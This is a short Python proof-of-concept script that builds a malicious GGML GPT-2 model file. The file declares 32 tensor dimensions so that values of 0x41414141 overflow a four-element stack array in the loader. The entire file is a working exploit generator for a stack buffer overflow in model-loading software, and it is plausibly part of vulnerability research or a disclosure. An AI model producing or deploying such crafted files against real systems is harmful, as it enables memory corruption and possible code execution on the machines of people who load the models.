File size: 1,421 Bytes
b8bfb10
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import struct

def write_malicious_gpt2_model(path):
    buf = bytearray()
    
    # Magic: GGML_FILE_MAGIC
    buf += struct.pack('<I', 0x67676d6c)
    
    # Hyperparameters
    n_vocab = 2  # minimal vocab
    buf += struct.pack('<i', n_vocab)   # n_vocab (in hparams)
    buf += struct.pack('<i', 1024)      # n_ctx
    buf += struct.pack('<i', 768)       # n_embd
    buf += struct.pack('<i', 12)        # n_head
    buf += struct.pack('<i', 12)        # n_layer
    buf += struct.pack('<i', 1)         # ftype
    
    # Vocab section starts with n_vocab again
    buf += struct.pack('<i', n_vocab)
    
    # Vocab entries (minimal)
    for i in range(n_vocab):
        word = f't{i}'.encode()
        buf += struct.pack('<I', len(word))
        buf += word
    
    # Tensor: n_dims=32 triggers stack overflow in ne[4]
    n_dims = 32
    buf += struct.pack('<i', n_dims)
    
    tensor_name = b'weights'
    buf += struct.pack('<i', len(tensor_name))
    buf += struct.pack('<i', 0)  # ttype = F32
    
    # Dimensions - first 4 go into ne[4], rest overflow stack
    for i in range(n_dims):
        buf += struct.pack('<i', 0x41414141 if i >= 4 else 1)
    
    buf += tensor_name
    # Some dummy tensor data
    buf += b'\x00' * 64
    
    with open(path, 'wb') as f:
        f.write(buf)
    print(f'Written {len(buf)} bytes to {path}')

write_malicious_gpt2_model('/tmp/ggml-poc/malicious_gpt2_v2.bin')